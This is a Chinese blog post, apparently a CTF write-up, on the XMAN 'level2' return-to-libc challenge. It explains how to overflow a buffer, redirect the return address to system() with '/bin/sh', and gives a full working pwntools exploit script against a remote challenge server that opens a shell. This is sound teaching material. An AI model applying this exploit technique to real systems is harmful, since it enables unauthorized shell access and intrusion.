美文网首页
XMAN-level2(return_to_libc)

XMAN-level2(return_to_libc)

作者: ch3ckr | 来源:发表于2017-12-23 21:03 被阅读33次

    思路:这题主演考察return_to_libc,通过覆盖vulnerable_function返回地址,跳转到system函数,构造栈上的参数,传入"/bin/sh"。即可getshell。

    1.使用gdb-peda查看是否有保护机制。

    2.shift+F12查看是否有可利用函数,这里有"/bin/sh"字符串,没有现成的函数。

    3.用IDA打开查看代码,发现调用了system函数。这里我们可以覆盖vulnerable_function返回地址,跳转到system函数,构造栈上的参数,给system传入"/bin/sh",就可以获得一个shell(此处system函数的返回地址可以随便写,因为不需要用到)。具体流程如下:

    4.具体代码如下:

    # coding:utf-8
    from pwn import *
    
    context(arch='i386',os='linux',log_level='debug')
    sh = remote("pwn2.jarvisoj.com",9878)
    # sh = process("./level2")
    elf = ELF('./level2') 
    _sys_addr = elf.symbols['system']
    sh_addr = elf.search('/bin/sh').next()
    
    payload = 'a' * (0x88 + 0x4) + p32(_sys_addr) + p32(0x0) + p32(sh_addr)
    
    sh.recvuntil('Input:\n')
    sh.sendline(payload)
    sh.interactive()
    sh.close()
    

    相关文章

      网友评论

          本文标题:XMAN-level2(return_to_libc)

          本文链接:https://www.haomeiwen.com/subject/yfnqgxtx.html